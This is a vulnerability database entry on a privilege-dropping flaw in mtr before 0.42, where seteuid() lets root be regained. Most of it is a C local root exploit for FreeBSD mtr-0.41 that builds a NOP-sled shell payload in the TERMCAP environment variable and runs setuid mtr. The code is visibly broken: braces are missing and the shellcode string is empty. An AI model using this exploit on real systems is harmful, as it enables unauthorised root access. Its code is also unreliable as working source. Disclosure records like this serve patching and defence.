Matt Kimball and Roger Wolff mtr 0.28/0.41,Turbolinux 3.5 b2/4.2/4.4/6.0 mtr Vulnerability.2

ID SSV:73708
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.


A potential vulnerability exists in the 'mtr' program, by Matt Kimball and Roger Wolff. Versions prior to 0.42 incorrectly dropped privileges on all Unix variants except HPUX. By calling a seteuid(getuid()) call, the authors hoped to drop permissions to prevent the obtaining of root privilege should there be potential vulnerabilities in mtr or a library it depends on. However, due to saved uid semantics, the uid of 0 can be recovered simply by doing a setuid(0). An attacker would only need to find an overflow in one of the libraries mtr uses, such as gtk or curses. In patched versions, the seteuid() call has been changed to setuid(). This will eliminate this potential problem.

/* (c) 2000 babcia padlina / buffer0verfl0w security ( */
/* freebsd mtr-0.41 local root exploit */

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h> 
#include <string.h>   

#define NOP             0x90
#define BUFSIZE         10000
#define ADDRS           1200 

long getesp(void)
   __asm__("movl %esp, %eax\n");

int main(argc, argv)
int argc; 
char **argv;
        char *execshell =
        //execl("/bin/sh", "sh", 0);

        char buf[BUFSIZE+ADDRS+1], *p;
        int noplen, i, ofs;
        long ret, *ap;
        if (argc < 2) { fprintf(stderr, "usage: %s ofs\n", argv[0]); exit(0); }

        ofs = atoi(argv[1]);

        noplen = BUFSIZE - strlen(execshell);
        ret = getesp() + ofs;
        memset(buf, NOP, noplen);
        buf[noplen+1] = '\0';
        strcat(buf, execshell);
        setenv("EGG", buf, 1);
        p = buf;
        ap = (unsigned long *)p;
        for(i = 0; i < ADDRS / 4; i++)
                *ap++ = ret;
        p = (char *)ap;
        *p = '\0';
        fprintf(stderr, "ret: 0x%x\n", ret);
        setenv("TERMCAP", buf, 1);
        execl("/usr/local/sbin/mtr", "mtr", 0);
        return 0;